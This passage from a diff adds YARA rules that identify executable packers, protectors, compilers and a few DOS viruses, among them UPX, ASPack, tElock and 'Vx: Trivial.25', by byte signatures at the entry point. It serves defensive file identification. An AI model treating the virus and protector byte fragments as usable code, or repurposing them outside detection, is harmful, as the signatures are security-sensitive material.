entrypoint or $806 at entrypoint or $807 at entrypoint or $808 at entrypoint or $809 at entrypoint or $810 at entrypoint or $811 at entrypoint or $812 at entrypoint or $813 at entrypoint or $814 at entrypoint or $815 at entrypoint or $816 at entrypoint or $817 at entrypoint or $818 at entrypoint or $819 at entrypoint or $820 at entrypoint or $821 at entrypoint or $822 at entrypoint or $823 at entrypoint or $824 at entrypoint or $825 at entrypoint or $826 at entrypoint or $827 at entrypoint or $828 at entrypoint or $829 at entrypoint or $830 at entrypoint or $831 at entrypoint or $832 at entrypoint or $833 at entrypoint or $834 at entrypoint or $835 at entrypoint or $836 at entrypoint or $837 at entrypoint or $838 at entrypoint or $839 at entrypoint or $840 at entrypoint or $841 at entrypoint or $842 at entrypoint or $843 at entrypoint or $844 at entrypoint or $845 at entrypoint or $846 at entrypoint or $847 at entrypoint or $848 at entrypoint or $849 at entrypoint or $850 at entrypoint or $851 at entrypoint or $852 at entrypoint or $853 at entrypoint or $854 at entrypoint or $855 at entrypoint or $856 at entrypoint or $857 at entrypoint or $858 at entrypoint or $859 at entrypoint or $860 at entrypoint or $861 at entrypoint or $862 at entrypoint or $863 at entrypoint or $864 at entrypoint or $865 at entrypoint or $866 at entrypoint or $867 at entrypoint or $868 at entrypoint or $869 at entrypoint or $870 at entrypoint or $871 at entrypoint or $872 at entrypoint or $873 at entrypoint or $874 at entrypoint or $875 at entrypoint or $876 at entrypoint or $877 at entrypoint or $878 at entrypoint or $879 at entrypoint or $880 at entrypoint or $881 at entrypoint or $882 at entrypoint or $883 at entrypoint or $884 at entrypoint or $885 at entrypoint or $886 at entrypoint or $887 at entrypoint or $888 at entrypoint or $889 at entrypoint or $890 at entrypoint or $891 at entrypoint or $892 at entrypoint or $893 at entrypoint or $894 at entrypoint or $895 at entrypoint or $896 at entrypoint or $897 at entrypoint or $898 at entrypoint or $899 at entrypoint or $900 at entrypoint or $901 at entrypoint or $902 at entrypoint or $903 at entrypoint or $904 at entrypoint or $905 at entrypoint or $906 at entrypoint or $907 at entrypoint or $908 at entrypoint or $909 at entrypoint or $910 at entrypoint or $911 at entrypoint or $912 at entrypoint or $913 at entrypoint or $914 at entrypoint or $915 at entrypoint or $916 at entrypoint or $917 at entrypoint or $918 at entrypoint or $919 at entrypoint or $920 at entrypoint or $921 at entrypoint or $922 at entrypoint or $923 at entrypoint or $924 at entrypoint or $925 at entrypoint or $926 at entrypoint or $927 at entrypoint or $928 at entrypoint or $929 at entrypoint or $930 at entrypoint or $931 at entrypoint or $932 at entrypoint or $933 at entrypoint or $934 at entrypoint or $935 at entrypoint or $936 at entrypoint or $937 at entrypoint or $938 at entrypoint or $939 at entrypoint or $940 at entrypoint or $941 at entrypoint or $942 at entrypoint or $943 at entrypoint or $944 at entrypoint or $945 at entrypoint or $946 at entrypoint or $947 at entrypoint or $948 at entrypoint or $949 at entrypoint or $950 at entrypoint or $951 at entrypoint or $952 at entrypoint or $953 at entrypoint or $954 at entrypoint or $955 at entrypoint or $956 at entrypoint or $957 at entrypoint or $958 at entrypoint or $959 at entrypoint or $960 at entrypoint or $961 at entrypoint or $962 at entrypoint or $963 at entrypoint or $964 at entrypoint or $965 at entrypoint or $966 at entrypoint or $967 at entrypoint or $968 at entrypoint or $969 at entrypoint or $970 at entrypoint or $971 at entrypoint or $972 at entrypoint or $973 at entrypoint or $974 at entrypoint or $975 at entrypoint or $976 at entrypoint or $977 at entrypoint or $978 at entrypoint or $979 at entrypoint or $980 at entrypoint or $981 at entrypoint or $982 at entrypoint or $983 at entrypoint or $984 at entrypoint or $985 at entrypoint or $986 at entrypoint or $987 at entrypoint or $988 at entrypoint or $989 at entrypoint or $990 at entrypoint or $991 at entrypoint or $992 at entrypoint or $993 at entrypoint or $994 at entrypoint or $995 at entrypoint or $996 at entrypoint or $997 at entrypoint or $998 at entrypoint or $999 at entrypoint or $1000 at entrypoint or $1001 at entrypoint or $1002 at entrypoint or $1003 at entrypoint or $1004 at entrypoint or $1005 at entrypoint or $1006 at entrypoint or $1007 at entrypoint or $1008 at entrypoint or $1009 at entrypoint or $1010 at entrypoint or $1011 at entrypoint or $1012 at entrypoint or $1013 at entrypoint or $1014 at entrypoint or $1015 at entrypoint or $1016 at entrypoint or $1017 at entrypoint or $1018 at entrypoint or $1019 at entrypoint or $1020 at entrypoint or $1021 at entrypoint or $1022 at entrypoint or $1023 at entrypoint or $1024 at entrypoint or $1025 at entrypoint or $1026 at entrypoint or $1027 at entrypoint or $1028 at entrypoint or $1029 at entrypoint or $1030 at entrypoint or $1031 at entrypoint or $1032 at entrypoint or $1033 at entrypoint or $1034 at entrypoint or $1035 at entrypoint or $1036 at entrypoint or $1037 at entrypoint or $1038 at entrypoint or $1039 at entrypoint or $1040 at entrypoint or $1041 at entrypoint or $1042 at entrypoint or $1043 at entrypoint or $1044 at entrypoint or $1045 at entrypoint or $1046 at entrypoint or $1047 at entrypoint or $1048 at entrypoint or $1049 at entrypoint or $1050 at entrypoint or $1051 or $1052 at entrypoint or $1053 at entrypoint or $1054 at entrypoint or $1055 at entrypoint or $1056 at entrypoint or $1057 at entrypoint or $1058 at entrypoint or $1059 at entrypoint or $1060 at entrypoint or $1061 at entrypoint or $1062 at entrypoint or $1063 at entrypoint or $1064 at entrypoint or $1065 at entrypoint or $1066 at entrypoint or $1067 at entrypoint or $1068 at entrypoint or $1069 at entrypoint or $1070 at entrypoint or $1071 at entrypoint or $1072 at entrypoint or $1073 at entrypoint or $1074 at entrypoint or $1075 at entrypoint or $1076 at entrypoint or $1077 at entrypoint or $1078 at entrypoint or $1079 at entrypoint or $1080 at entrypoint or $1081 at entrypoint or $1082 at entrypoint or $1083 at entrypoint or $1084 at entrypoint or $1085 at entrypoint or $1086 at entrypoint or $1087 at entrypoint or $1088 at entrypoint or $1089 at entrypoint or $1090 at entrypoint or $1091 at entrypoint or $1092 at entrypoint or $1093 at entrypoint or $1094 at entrypoint or $1095 at entrypoint or $1096 at entrypoint or $1097 at entrypoint or $1098 at entrypoint or $1099 at entrypoint or $1100 at entrypoint or $1101 at entrypoint or $1102 at entrypoint or $1103 at entrypoint or $1104 at entrypoint or $1105 at entrypoint or $1106 at entrypoint or $1107 at entrypoint or $1108 at entrypoint or $1109 at entrypoint or $1110 at entrypoint or $1111 at entrypoint or $1112 at entrypoint or $1113 at entrypoint or $1114 at entrypoint or $1115 at entrypoint or $1116 at entrypoint or $1117 at entrypoint or $1118 at entrypoint or $1119 at entrypoint or $1120 at entrypoint or $1121 at entrypoint or $1122 at entrypoint or $1123 at entrypoint or $1124 at entrypoint or $1125 at entrypoint or $1126 at entrypoint or $1127 at entrypoint or $1128 at entrypoint or $1129 at entrypoint or $1130 at entrypoint or $1131 at entrypoint or $1132 at entrypoint or $1133 at entrypoint or $1134 at entrypoint or $1135 at entrypoint or $1136 at entrypoint or $1137 at entrypoint or $1138 at entrypoint or $1139 at entrypoint or $1140 at entrypoint or $1141 at entrypoint or $1142 at entrypoint or $1143 at entrypoint or $1144 at entrypoint or $1145 at entrypoint or $1146 at entrypoint or $1147 at entrypoint or $1148 at entrypoint or $1149 at entrypoint or $1150 at entrypoint or $1151 at entrypoint or $1152 at entrypoint or $1153 at entrypoint or $1154 at entrypoint or $1155 at entrypoint or $1156 at entrypoint or $1157 at entrypoint or $1158 at entrypoint or $1159 at entrypoint or $1160 at entrypoint or $1161 at entrypoint or $1162 at entrypoint or $1163 at entrypoint or $1164 at entrypoint or $1165 at entrypoint or $1166 at entrypoint or $1167 at entrypoint or $1168 at entrypoint or $1169 at entrypoint or $1170 at entrypoint or $1171 at entrypoint or $1172 at entrypoint or $1173 at entrypoint or $1174 at entrypoint or $1175 at entrypoint or $1176 at entrypoint or $1177 at entrypoint or $1178 at entrypoint or $1179 at entrypoint or $1180 at entrypoint or $1181 at entrypoint or $1182 at entrypoint or $1183 at entrypoint or $1184 at entrypoint or $1185 at entrypoint or $1186 at entrypoint or $1187 at entrypoint or $1188 at entrypoint or $1189 at entrypoint or $1190 at entrypoint or $1191 at entrypoint or $1192 at entrypoint or $1193 at entrypoint or $1194 at entrypoint or $1195 at entrypoint or $1196 at entrypoint or $1197 at entrypoint or $1198 at entrypoint or $1199 at entrypoint or $1200 at entrypoint or $1201 at entrypoint or $1202 at entrypoint or $1203 at entrypoint or $1204 at entrypoint or $1205 at entrypoint or $1206 at entrypoint or $1207 at entrypoint or $1208 at entrypoint or $1209 at entrypoint or $1210 at entrypoint or $1211 at entrypoint or $1212 at entrypoint or $1213 at entrypoint or $1214 at entrypoint or $1215 at entrypoint or $1216 at entrypoint or $1217 at entrypoint or $1218 at entrypoint or $1219 at entrypoint or $1220 at entrypoint or $1221 at entrypoint or $1222 at entrypoint or $1223 at entrypoint or $1224 at entrypoint or $1225 at entrypoint or $1226 at entrypoint or $1227 at entrypoint or $1228 at entrypoint or $1229 at entrypoint or $1230 at entrypoint or $1231 at entrypoint or $1232 at entrypoint or $1233 at entrypoint or $1234 at entrypoint or $1235 at entrypoint or $1236 at entrypoint or $1237 at entrypoint or $1238 at entrypoint or $1239 at entrypoint or $1240 at entrypoint or $1241 at entrypoint or $1242 at entrypoint or $1243 at entrypoint or $1244 at entrypoint or $1245 at entrypoint or $1246 at entrypoint or $1247 at entrypoint or $1248 at entrypoint or $1249 at entrypoint or $1250 at entrypoint or $1251 at entrypoint or $1252 at entrypoint or $1253 at entrypoint or $1254 at entrypoint or $1255 at entrypoint or $1256 at entrypoint or $1257 at entrypoint or $1258 at entrypoint or $1259 at entrypoint or $1260 at entrypoint or $1261 at entrypoint or $1262 at entrypoint or $1263 at entrypoint or $1264 at entrypoint or $1265 at entrypoint or $1266 at entrypoint or $1267 at entrypoint or $1268 at entrypoint or $1269 at entrypoint or $1270 at entrypoint or $1271 at entrypoint or $1272 at entrypoint or $1273 at entrypoint or $1274 at entrypoint or $1275 at entrypoint or $1276 at entrypoint or $1277 at entrypoint or $1278 at entrypoint or $1279 at entrypoint or $1280 at entrypoint or $1281 at entrypoint or $1282 at entrypoint or $1283 at entrypoint or $1284 at entrypoint or $1285 at entrypoint or $1286 at entrypoint or $1287 at entrypoint or $1288 at entrypoint or $1289 at entrypoint or $1290 at entrypoint or $1291 at entrypoint or $1292 at entrypoint or $1293 at entrypoint or $1294 at entrypoint or $1295 at entrypoint or $1296 at entrypoint or $1297 at entrypoint or $1298 at entrypoint or $1299 at entrypoint or $1300 at entrypoint or $1301 at entrypoint or $1302 at entrypoint or $1303 at entrypoint or $1304 at entrypoint or $1305 at entrypoint or $1306 at entrypoint or $1307 at entrypoint or $1308 at entrypoint or $1309 at entrypoint or $1310 at entrypoint or $1311 at entrypoint or $1312 at entrypoint or $1313 at entrypoint or $1314 at entrypoint or $1315 at entrypoint or $1316 at entrypoint or $1317 at entrypoint or $1318 at entrypoint or $1319 at entrypoint or $1320 at entrypoint or $1321 at entrypoint or $1322 at entrypoint or $1323 at entrypoint or $1324 at entrypoint or $1325 at entrypoint or $1326 at entrypoint or $1327 at entrypoint or $1328 at entrypoint or $1329 at entrypoint or $1330 at entrypoint or $1331 at entrypoint or $1332 at entrypoint or $1333 at entrypoint or $1334 at entrypoint or $1335 at entrypoint or $1336 at entrypoint or $1337 at entrypoint or $1338 at entrypoint or $1339 at entrypoint or $1340 at entrypoint or $1341 at entrypoint or $1342 at entrypoint or $1343 at entrypoint or $1344 at entrypoint or $1345 at entrypoint or $1346 at entrypoint or $1347 at entrypoint or $1348 at entrypoint or $1349 at entrypoint or $1350 at entrypoint or $1351 at entrypoint or $1352 at entrypoint or $1353 at entrypoint or $1354 at entrypoint or $1355 at entrypoint or $1356 at entrypoint or $1357 at entrypoint or $1358 at entrypoint or $1359 at entrypoint or $1360 at entrypoint or $1361 at entrypoint or $1362 at entrypoint or $1363 at entrypoint or $1364 at entrypoint or $1365 at entrypoint or $1366 at entrypoint or $1367 at entrypoint or $1368 at entrypoint or $1369 at entrypoint or $1370 at entrypoint or $1371 at entrypoint or $1372 at entrypoint or $1373 at entrypoint or $1374 at entrypoint or $1375 at entrypoint or $1376 at entrypoint or $1377 at entrypoint or $1378 at entrypoint or $1379 at entrypoint or $1380 at entrypoint or $1381 at entrypoint or $1382 at entrypoint or $1383 at entrypoint or $1384 at entrypoint or $1385 at entrypoint or $1386 at entrypoint or $1387 at entrypoint or $1388 at entrypoint or $1389 at entrypoint or $1390 at entrypoint or $1391 at entrypoint or $1392 at entrypoint or $1393 at entrypoint or $1394 at entrypoint or $1395 at entrypoint or $1396 at entrypoint or $1397 at entrypoint or $1398 at entrypoint or $1399 at entrypoint or $1400 at entrypoint or $1401 at entrypoint or $1402 at entrypoint or $1403 at entrypoint or $1404 at entrypoint or $1405 at entrypoint or $1406 at entrypoint or $1407 at entrypoint or $1408 at entrypoint or $1409 at entrypoint or $1410 at entrypoint or $1411 at entrypoint or $1412 at entrypoint or $1413 at entrypoint or $1414 at entrypoint or $1415 at entrypoint or $1416 at entrypoint or $1417 at entrypoint or $1418 at entrypoint or $1419 at entrypoint or $1420 at entrypoint or $1421 at entrypoint or $1422 at entrypoint or $1423 at entrypoint or $1424 at entrypoint or $1425 at entrypoint or $1426 at entrypoint or $1427 at entrypoint or $1428 at entrypoint or $1429 at entrypoint or $1430 at entrypoint or $1431 at entrypoint or $1432 at entrypoint or $1433 at entrypoint or $1434 at entrypoint or $1435 at entrypoint or $1436 at entrypoint or $1437 at entrypoint or $1438 at entrypoint or $1439 at entrypoint or $1440 at entrypoint or $1441 at entrypoint or $1442 at entrypoint or $1443 at entrypoint or $1444 at entrypoint or $1445 at entrypoint or $1446 at entrypoint or $1447 at entrypoint or $1448 at entrypoint or $1449 at entrypoint or $1450 at entrypoint or $1451 at entrypoint or $1452 at entrypoint or $1453 at entrypoint or $1454 at entrypoint or $1455 at entrypoint or $1456 at entrypoint or $1457 at entrypoint or $1458 at entrypoint or $1459 at entrypoint or $1460 at entrypoint or $1461 at entrypoint or $1462 at entrypoint or $1463 at entrypoint or $1464 at entrypoint or $1465 at entrypoint or $1466 at entrypoint or $1467 at entrypoint or $1468 at entrypoint or $1469 at entrypoint or $1470 at entrypoint or $1471 at entrypoint or $1472 at entrypoint or $1473 at entrypoint or $1474 at entrypoint or $1475 at entrypoint or $1476 at entrypoint or $1477 at entrypoint or $1478 at entrypoint or $1479 at entrypoint or $1480 at entrypoint or $1481 at entrypoint or $1482 at entrypoint or $1483 at entrypoint or $1484 at entrypoint or $1485 at entrypoint or $1486 at entrypoint or $1487 at entrypoint or $1488 at entrypoint or $1489 at entrypoint or $1490 at entrypoint or $1491 at entrypoint or $1492 at entrypoint or $1493 at entrypoint or $1494 at entrypoint or $1495 at entrypoint or $1496 at entrypoint or $1497 at entrypoint or $1498 at entrypoint or $1499 at entrypoint or $1500 at entrypoint or $1501 at entrypoint or $1502 at entrypoint or $1503 at entrypoint or $1504 at entrypoint or $1505 at entrypoint or $1506 at entrypoint or $1507 at entrypoint or $1508 at entrypoint or $1509 at entrypoint or $1510 at entrypoint or $1511 at entrypoint or $1512 at entrypoint or $1513 at entrypoint or $1514 at entrypoint or $1515 at entrypoint or $1516 at entrypoint or $1517 at entrypoint or $1518 at entrypoint or $1519 at entrypoint or $1520 at entrypoint or $1521 at entrypoint or $1522 at entrypoint or $1523 or $1524 at entrypoint or $1525 at entrypoint or $1526 at entrypoint or $1527 at entrypoint or $1528 at entrypoint or $1529 at entrypoint or $1530 at entrypoint or $1531 at entrypoint or $1532 at entrypoint or $1533 at entrypoint or $1534 at entrypoint or $1535 at entrypoint or $1536 at entrypoint or $1537 at entrypoint or $1538 at entrypoint or $1539 at entrypoint or $1540 at entrypoint or $1541 at entrypoint or $1542 at entrypoint or $1543 at entrypoint or $1544 at entrypoint or $1545 at entrypoint or $1546 at entrypoint or $1547 at entrypoint or $1548 at entrypoint or $1549 at entrypoint or $1550 at entrypoint or $1551 at entrypoint or $1552 at entrypoint or $1553 at entrypoint or $1554 at entrypoint or $1555 at entrypoint or $1556 at entrypoint or $1557 at entrypoint or $1558 at entrypoint or $1559 at entrypoint or $1560 at entrypoint or $1561 at entrypoint or $1562 at entrypoint or $1563 at entrypoint or $1564 at entrypoint or $1565 at entrypoint or $1566 at entrypoint or $1567 at entrypoint or $1568 at entrypoint or $1569 at entrypoint or $1570 at entrypoint or $1571 at entrypoint or $1572 at entrypoint or $1573 at entrypoint or $1574 at entrypoint or $1575 at entrypoint or $1576 at entrypoint or $1577 at entrypoint or $1578 at entrypoint or $1579 at entrypoint or $1580 at entrypoint or $1581 at entrypoint or $1582 at entrypoint or $1583 at entrypoint or $1584 at entrypoint or $1585 at entrypoint or $1586 at entrypoint or $1587 at entrypoint or $1588 at entrypoint or $1589 at entrypoint or $1590 at entrypoint or $1591 at entrypoint or $1592 at entrypoint or $1593 at entrypoint or $1594 at entrypoint or $1595 at entrypoint or $1596 at entrypoint or $1597 at entrypoint or $1598 at entrypoint or $1599 at entrypoint or $1600 at entrypoint or $1601 at entrypoint or $1602 at entrypoint or $1603 at entrypoint or $1604 at entrypoint or $1605 at entrypoint or $1606 at entrypoint or $1607 at entrypoint or $1608 at entrypoint or $1609 at entrypoint or $1610 at entrypoint or $1611 at entrypoint or $1612 at entrypoint or $1613 at entrypoint or $1614 at entrypoint or $1615 at entrypoint or $1616 at entrypoint or $1617 at entrypoint or $1618 at entrypoint or $1619 at entrypoint or $1620 at entrypoint or $1621 at entrypoint or $1622 at entrypoint or $1623 at entrypoint or $1624 at entrypoint or $1625 at entrypoint or $1626 at entrypoint or $1627 at entrypoint or $1628 at entrypoint or $1629 at entrypoint or $1630 at entrypoint or $1631 at entrypoint or $1632 at entrypoint or $1633 at entrypoint or $1634 at entrypoint or $1635 at entrypoint or $1636 at entrypoint or $1637 at entrypoint or $1638 at entrypoint or $1639 at entrypoint or $1640 at entrypoint or $1641 at entrypoint or $1642 at entrypoint
+}
+rule _UPX_050__070_
+{
+	meta:
+		description = "UPX 0.50 - 0.70"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_LTC_13__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [LTC 1.3] --> Anorganix"
+	strings:
+		$0 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+		$1 = {54 E8 00 00 00 00 5D 8B C5 81 ED F6 73 40 00 2B 85 87 75 40 00 83 E8 06 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Turbo_C_1990_or_Turbo_C_1988_
+{
+	meta:
+		description = "Turbo C 1990 or Turbo C 1988"
+	strings:
+		$0 = {BA ?? ?? 2E 89 ?? ?? ?? B4 30 CD 21 8B ?? ?? ?? 8B ?? ?? ?? 8E DA}
+	condition:
+		$0 at entrypoint
+}
+rule _nPack_V112002006Beta__NEOxuinC_
+{
+	meta:
+		description = "nPack V1.1.200.2006.Beta -> NEOx/[uinC]"
+	strings:
+		$0 = {83 3D 40 ?? ?? ?? 00 75 05 E9 01 00 00 00 C3 E8 41 00 00 00 B8 80 ?? ?? ?? 2B 05 08 ?? ?? ?? A3 3C ?? ?? ?? E8 5E 00 00 00 E8 EC 01 00 00 E8 F8 06 00 00 E8 03 06 00 00 A1 3C ?? ?? ?? C7 05 40 ?? ?? ?? 01 00 00 00 01 05 00 ?? ?? ?? FF 35 00 ?? ?? ?? C3 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PKLITE_v100_v103_
+{
+	meta:
+		description = "PKLITE v1.00, v1.03"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 8C DB 03 D8 3B}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_v105b_
+{
+	meta:
+		description = "ASPack v1.05b"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED CE 3A 44 ?? B8 C8 3A 44 ?? 03 C5 2B 85 B5 3E 44 ?? 89 85 C1 3E 44 ?? 80 BD AC 3E 44}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_LCC_Win32_1x__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 1.x] --> Anorganix"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+		$1 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Hyings_PEArmor_075exe__Hying_CCG_h_
+{
+	meta:
+		description = "Hying's PE-Armor 0.75.exe -> Hying [CCG] (h)"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? 00 00 00 00 00 00 ?? ?? 01 00 00 00 00 00 00 00 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 74 ?? ?? ?? 00 00 00 00 00}
+	condition:
+		$0
+}
+rule _tElock_v071b2_
+{
+	meta:
+		description = "tElock v0.71b2"
+	strings:
+		$0 = {60 E8 44 11 00 00 C3 83}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v090_
+{
+	meta:
+		description = "tElock v0.90"
+	strings:
+		$0 = {E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _STNPEE_113_
+{
+	meta:
+		description = "STNPEE 1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 00 00 00 00 5D 8B D5 81 ED 97 3B 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _WWPACK_v305c4_Unextr_Passwcheck_Vir_shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Unextr. Passw.check. Vir. shield)"
+	strings:
+		$0 = {03 05 C0 1B B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _PEQuake_v006_by_fORGAT_
+{
+	meta:
+		description = "PEQuake v0.06 by fORGAT"
+	strings:
+		$0 = {E8 A5 00 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 3D ?? 00 00 2D ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 4A ?? 00 00 5B ?? 00 00 6E ?? 00 00 00 00 00 00 6B 45 72 4E 65 4C 33 32 2E 64 4C 6C 00 00 00 47 65 74 50 72 6F 63 41 64}
+	condition:
+		$0
+}
+rule _FSG_v120_Eng__dulekxt__Borland_Delphi__Microsoft_Visual_Cpp_
+{
+	meta:
+		description = "FSG v1.20 (Eng) -> dulek/xt -> (Borland Delphi / Microsoft Visual C++)"
+	strings:
+		$0 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+		$1 = {0F B6 D0 E8 01 00 00 00 0C 5A B8 80 ?? ?? 00 EB 02 00 DE 8D 35 F4 00 00 00 F7 D2 EB 02 0E EA 8B 38 EB 01 A0 C1 F3 11 81 EF 84 88 F4 4C EB 02 CD 20 83 F7 22 87 D3 33 FE C1 C3 19 83 F7 26 E8 02 00 00 00 BC DE 5A 81 EF F7 EF 6F 18 EB 02 CD 20 83 EF 7F EB 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Inbuild_v10_hard_
+{
+	meta:
+		description = "Inbuild v1.0 [hard]"
+	strings:
+		$0 = {B9 ?? ?? BB ?? ?? 2E ?? ?? 2E ?? ?? 43 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _PEBundle_v20b5__v23_
+{
+	meta:
+		description = "PEBundle v2.0b5 - v2.3"
+	strings:
+		$0 = {9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB ?? ?? 40 ?? 87 DD 01 AD ?? ?? ?? ?? 01 AD}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Crypt_v100v101_
+{
+	meta:
+		description = "PE Crypt v1.00/v1.01"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? 5B 83 EB 05 EB 04 52 4E 44 21 EB 02 CD 20 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_REALBasic__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [REALBasic] --> Anorganix"
+	strings:
+		$0 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+		$1 = {55 89 E5 90 90 90 90 90 90 90 90 90 90 50 90 90 90 90 90 00 01 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLITE_v112_v115_v120_2_
+{
+	meta:
+		description = "PKLITE v1.12, v1.15, v1.20 (2)"
+	strings:
+		$0 = {B8 ?? ?? BA ?? ?? 3B C4 73}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial25_
+{
+	meta:
+		description = "Vx: Trivial.25"
+	strings:
+		$0 = {B4 4E FE C6 CD 21 B8 ?? 3D BA ?? 00 CD 21 93 B4 40 CD}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v099_Special_Build__heXer__forgot_
+{
+	meta:
+		description = "tElock v0.99 Special Build -> heXer & forgot"
+	strings:
+		$0 = {E9 5E DF FF FF 00 00 00 ?? ?? ?? ?? E5 ?? ?? 00 00 00 00 00 00 00 00 00 05 ?? ?? 00 F5 ?? ?? 00 ED ?? ?? 00 00 00 00 00 00 00 00 00 12 ?? ?? 00 FD ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1D ?? ?? 00 00 00 00 00 30 ?? ?? 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Inno_Setup_Module_v2018_
+{
+	meta:
+		description = "Inno Setup Module v2.0.18"
+	strings:
+		$0 = {55 8B EC 83 C4 B8 53 56 57 33 C0 89 45 F0 89 45 BC 89 45 B8 E8 73 71 FF FF E8 DA 85 FF FF E8 81 A7 FF FF E8 C8}
+	condition:
+		$0
+}
+rule _Upack_v036_beta__Dwing_
+{
+	meta:
+		description = "Upack v0.36 beta -> Dwing"
+	strings:
+		$0 = {BE E0 11 ?? ?? FF 36 E9 C3 00 00 00 48 01 ?? ?? 0B 01 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C}
+	condition:
+		$0 at entrypoint
+}
+rule _eXPressor_12__CGSoftLabs_
+{
+	meta:
+		description = "eXPressor 1.2 -> CGSoftLabs"
+	strings:
+		$0 = {55 8B EC 81 EC D4 01 00 00 53 56 57 EB 0C 45 78 50 72 2D 76 2E 31 2E 32 2E 2E}
+	condition:
+		$0 at entrypoint
+}
+rule _SPEC_b3_
+{
+	meta:
+		description = "SPEC b3"
+	strings:
+		$0 = {5B 53 50 45 43 5D E8 ?? ?? ?? ?? 5D 8B C5 81 ED 41 24 40 ?? 2B 85 89 26 40 ?? 83 E8 0B 89 85 8D 26 40 ?? 0F B6 B5 91 26 40 ?? 8B FD}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v123_RC4_build_0807_dll__Alexey_Solodovnikov_h_
+{
+	meta:
+		description = "ASProtect v1.23 RC4 build 08.07 (dll) -> Alexey Solodovnikov (h)"
+	strings:
+		$0 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {60 E8 03 00 00 00 E9 EB 04 5D 45 55 C3 E8 01 00 00 00 EB 5D BB ED FF FF FF 03 DD 81 EB 00 ?? ?? ?? 80 7D 4D 01 75 0C 8B 74 24 28 83 FE 01 89 5D 4E 75 31 8D 45 53 50 53 FF B5 D5 09 00 00 8D 45 35 50 E9 82 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_Compiler_
+{
+	meta:
+		description = "Vx: Compiler"
+	strings:
+		$0 = {8C C3 83 C3 10 2E 01 1E ?? 02 2E 03 1E ?? 02 53 1E}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Visual_C__Basic_NET_
+{
+	meta:
+		description = "Microsoft Visual C# / Basic .NET"
+	strings:
+		$0 = {FF 25 00 20 ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Turbo_C_or_Borland_Cpp_
+{
+	meta:
+		description = "Turbo C or Borland C++"
+	strings:
+		$0 = {BA ?? ?? 2E 89 16 ?? ?? B4 30 CD 21 8B 2E ?? ?? 8B 1E ?? ?? 8E DA}
+	condition:
